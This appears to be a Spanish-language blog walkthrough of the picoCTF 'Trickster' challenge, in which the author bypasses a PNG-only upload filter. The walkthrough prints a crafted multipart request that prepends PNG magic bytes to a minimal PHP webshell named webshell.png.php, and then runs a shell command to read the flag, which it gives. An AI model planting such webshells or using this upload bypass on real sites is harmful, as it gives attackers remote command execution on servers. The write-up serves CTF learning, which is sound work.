Entrada

Trickster

Trickster Author: Junias Bonou Description I found a web app that can help process images: PNG images only! Try it here!

Cuando visitamos la instancia aparece un formulario donde se puede subir un archivo, en principio

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html>
<head>
    <title>File Upload Page</title>
</head>
<body>
    <h1>Welcome to my PNG processing app</h1>

    
    <form method="POST" enctype="multipart/form-data">
        <input type="file" name="file" accept=".png">
        <input type="submit" value="Upload File">
    </form>
</body>
</html>

Como no sabemos si se sanitizó la entrada creo que empezaré por probar a subir un archivo .png con contenido php. Como php se procesa del lado del servidor es posible que consigamos RCE como había hecho anterirormente en posts/picoctf-n0s4n1ty/. Así que renombro el info.php en info.png.php, pero esta vez el filtro funciona para lo que no parezca una imagen png. En cierta manera el servidor detecta que no es una imagen, por lo que hay que afinar un poco más.

Al subir una imagen png simplemente nos dice que la va a procesar. Así que se almacena en algun lado. ¿/uploads?(más adelante me doy cuenta de que había una pista, pero lo adiviné al simplemente subir candadito.png y comprobar que estaba en /uploads/candadito.png. Ahora con ZAP capturo el POST que se realiza al subir una imagen:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
POST http://atlas.picoctf.net:62712/ HTTP/1.1
Host: atlas.picoctf.net:62712
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: multipart/form-data; boundary=---------------------------132556845750925031918361941
Content-Length: 2810
Origin: http://atlas.picoctf.net:62712
Connection: keep-alive
Referer: http://atlas.picoctf.net:62712/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------132556845750925031918361941
Content-Disposition: form-data; name="file"; filename="candadito.png"
Content-Type: image/png

‰PNG


IHDRáá؍¦	çIDATxœì_ŒUGǧÒR ¢—d74[,ÝÄݚ–¦]Ñ6²ô MÝF³O$øÀîƒqcHª±Ic#áE<Ø0¦¦Ò»õϒú@oµ	-ÉÅv…DÙV—ª»voSWnðöï=¿ßoÎüæœïœ½“œÏ;÷œ™óaæœ3ÿÎÌ­7œÆû­_þÏ{—þö¡©›Êí›z6Uºïܸi>%
·€
¯¼õÊïߐêytÇÃ÷bSӀ4l¼ñ»C®cö<þX.E7PœÛ«LqçèUX¢
@†“G¼þ[‡k˜d5@kÞE§g‘°€aµÏÛoŽ“ˆëw“۰ړͯ0ǜ†“ýÙýŒ1«(;ùŸÍåw“þ)˜Š…<†ç6æ, ¨æ0̟óìœE
12×i¦·TÎ2pîó°¨8ËxÞ«8A³í(..N¶¬?¾Šþ&ºp.‘ÍP[ÕÓ=W[ Ë}xý‹ŠúÀý[Ö¯Y½úÚµFão¾¢ˆub³ÿ•hÈ`ØøÂŸÒè}òáÏl\Ór}æÏµ×~éˆ÷b Æ£w®Ï~*5¾áªµm4~8½†7ž·@Šx6Ó®r÷9ÇÙ©/ыÙ=ìø6°_೪§Å锚ÐD6‰T|
í5í#êªÉh·5’ÕOçl—ö´WÏÄi[4½ž—¯ÀÏð9˅õMz&Û¶Ä´Ç3"7^†-—õ\†„kÀ¸Rñ1¼*_SO¶çCsúác¸[¼¢Ý™Ó>.+fŽOÆ#>ùñp8GâU1ƽ9bÐN‰—“¯SP¾±±7zCñM8–3ùIQڔR·€ÏŒJÿÛ»´§[èKÆrƚ@ݶ¸EË+hŒ¹r—ˆlIióPêg8	4]ãBà·/¡+Ì3™On”1!nWÅ¥áÓü"ú`× ´¨€õSÝ}ø¿;xØ,nÔzïå¨~	¹î>ü	ª‡åŃ~ˆ‹]“ÑM~Ú>\1ºÙbä	ÀÚû*C¡Ñ¨~‚%«»©îÃ;ÿECF¿ª8ÍᭈºÏ5÷á&Ø4]üyjíðE‘ÏûØIø~?ÞöìŬ0äϙ~Pâ­ðÉ g¢”¾ÆBžqŸäÍ Þ!YP¾@z·bÒN°†U›œó«t(ž¥¬U~ÎóÎ=4ÓÂpçáÛ,d'"aÆf6-珐x݆,á5”ߢR£Ãw)}’V©Bºóê=dޤې݆æÜÎÃþ/!7¢³”^¢øîE¾FÞDÄê4¼L‚<Hçx„cxž܏HV„r¿ŒˆÕiø:
4¡à&tšªf‚ƒ§!íyÏ71VLë€H]†
šÈ£€Dml¡"u¾O>HÔÆ&ð®â¤iÇï.ÃÿÒȌKl|ÿŸîs¦;¿™~€Ë5ïCÞNf§LwšSéŠ.Cv¯‡4\E3Qšj¡ÞiŒCÑù¤¡·¹ÍçÉßì)@¨Ïÿ—œâÍçenÍ}UH֒¿?L?¼¾aá#æ„õ ¬3hÃðIò7+A	ê˅zЋ핇´åy-íà¥4©¹Ø^yèC=ùX²æb{塉4)¹kÖùì?K.Fj8Ý-TÊGöK‡Fjø±ÕqŒuHÄk¸_ü¢&͏ÔÐkb_|¬†‚¢,¯¡9HF«Æ-£)ñ’{qü>Ëa&rÑ*µaK.Úã6\ÊÅÁÈ
Íþ9Å4ÁØ
çSãm[,²ßlOŒßЈÕíb/¥nJÃø)
ã§½ÿ Îöz[ÜݛœT*}‹A©ÓAF:Hí˜ÙÇfy†[ü #¬%L~o¯RšÚON»ã7tQÆOi?¥aü”†ñSÆOi?.CömŪpג
:«ˆNL§_#&OXu™ÎD–8)ˆŽò9ØWþüû6ÚALڋ!§Èðá#-¥+´pz@Ê'Mü”†ñS¶?GùG®IÈÛþ¤a[À߇Ç]ŸµÇn8·æ[ªb䆋ڥ)Æm¸´j_ʆQ¶,KhÏŘ
ë.Zs1bC²°¤-]#¤½÷]yÅ鬺š²Bö‰¡äß[lß¶;òð¸µ|ûvm9Or¹ z»V(öq}鋼{ޑŽŒ´Ö&r(*Fjø˜: ݉‘n–¾.í^:4RCÓÅ^ŒÕ+ˆ9±!]¾Ö&±¡éhÍE«`̆­¹h:¯­ñnݘ;îZl¨£craâ[Š`0ÃKg³´&RßÎ폄±ìšê4Ag½ôH–êä_"p_¦5'h4¬cʹî}Ãyg‡þûVº
oL™ô8ðOš~,†>8¢ß1•ZDñÏÒúŽ!ëo#kْL\[ӂ
_ߐº¶SØ
Öd°†g¶98ð=hz †g¾ì<äPáŠHÃnAcÙ×Y	аþ ê°¡›€†ÚYۊíûÁ¾ôkí‘aij€6ô‹ñsøAú<@¾ƒJTÌð€Ç±/Kk„eø’×ѧ@©j@J…ô‰Ñ‹“Ui»½CE†¶FÆÖ“°Me±¥3+잯ÜGFÑzrÊ÷XHï{‹s×=Ïw©9‹IVȐï v¶efê3ìMò[L²@†¬&6–˜äø3ú3dý\ Cºw%¹ÙU…m‘áZWG þRºÐÁ7èî•IQ`Y]š®|7=€­mŒ![ԔÐE-+“âÀ²þ^ú~d‹:³uƒè>¤+¹ÿ…P	“®È°—ü=BîL¶'ÖÇ1é*²}à’õÔ·N狼dø
8h }…þÌv\	Ȑ︾e¹!ߨñwúë×1Éj
K5}n± ¾º–×Ѷc’Õ€?æÃ1CCío\:Ɩu7¦bÇ((ÃÝҀ“<eŒù.(U
¨÷áV¯i›öñ)<°7þO=ŽÝëC3Üåñø*Q
¸Z›¾Ãôx‘Y4¼WØÖW¤;m'<Àš÷÷•åô¸$5 Ûº-«ÅUIç@VÄ­à	c°Íš•@ۇÎ]S ÎûmwÍ:îÅZá‚è6þº³ârðôÏX]ދq°ÆÚŠ‹œ~q%¾…Ç÷Ól=?Æ[‹7ßóMÖiZ!z¢v]¨±ÍXǚƒ+´¢F˜¾¶­t¯ôÊ®[1$PoâÊ~L” æyÞ:JÃø)
ã§4ŒŸÒ0~JÃø)ȱýtF}»VéþDâïÕa’ÑÈp°Ø^ß4Êû0~JÃø)
ã§4ŒŸÒ0~JՅͮ΀«æ}þ…ûhi|³@¾Šhͽb¿{jcJÃø)
ã§4ŒŸÒ0~JÃø)
ã§4ŒŸÿÿî£O±yžëiIEND®B`‚
-----------------------------132556845750925031918361941--

Ahora vamos a ver que pasa si retiro el contenido de datos de imagen y lo sustituyo con un código malicioso, para este caso he codificado una minima webshell, el truco está en llamarle al archivo co la extensión .png.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
POST http://atlas.picoctf.net:62712/ HTTP/1.1
host: atlas.picoctf.net:62712
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: multipart/form-data; boundary=---------------------------11406924858310626671920572531
content-length: 308
Origin: http://atlas.picoctf.net:62712
Connection: keep-alive
Referer: http://atlas.picoctf.net:62712/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------11406924858310626671920572531
Content-Disposition: form-data; name="file"; filename="webshell.png.php"
Content-Type: image/png

‰PNG

<html>
<body>
    <h4>MINIMUM PHP WEBSHELL</h4>
    <form method="GET" name="formulario">
        <input type="text" name="cmd" size="100">
        <input type="submit" value="SEND">
    </form>

    <?php
    if (isset($_GET['cmd'])) {
        $cmd = $_GET['cmd'];
        echo "<pre>" . shell_exec($cmd) . "</pre>";
    }
    ?>
</body>
</html>

-----------------------------11406924858310626671920572531--

Ahora podemos lanzar comandos y recibir los resultados para finalmente, leer el archivo que contiene la bandera. si hubiera mirado el archivo robots.txt antes, nos da una pequeña pista

1
2
3
User-agent: *
Disallow: /instructions.txt
Disallow: /uploads/

El fichero instructions.txt contiene un poco de información pero no es muy relevante a la hora de resolver el reto

1
2
3
4
5
6
Let's create a web app for PNG Images processing.
It needs to:
Allow users to upload PNG images
	look for ".png" extension in the submitted files
	make sure the magic bytes match (not sure what this is exactly but wikipedia says that the first few bytes contain 'PNG' in hexadecimal: "50 4E 47" )
after validation, store the uploaded files so that the admin can retrieve them later and do the necessary processing.
1
cat ../HFQWKODGMIYTO.txt

flag picoCTF{c3rt!fi3d_Xp3rt_tr1ckst3r_9ae8fb17}

Por una parte el reto es interesante en cuanto a la forma, crear una webshell, pero el fondo de la cuestión es si realmente se puede explotar esto en versiones recientes de PHP, dado que la clave de esta vulnerabilidad reside en que realmente el formulario permite subir archivos con extensiones diferentes a las esperadas.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.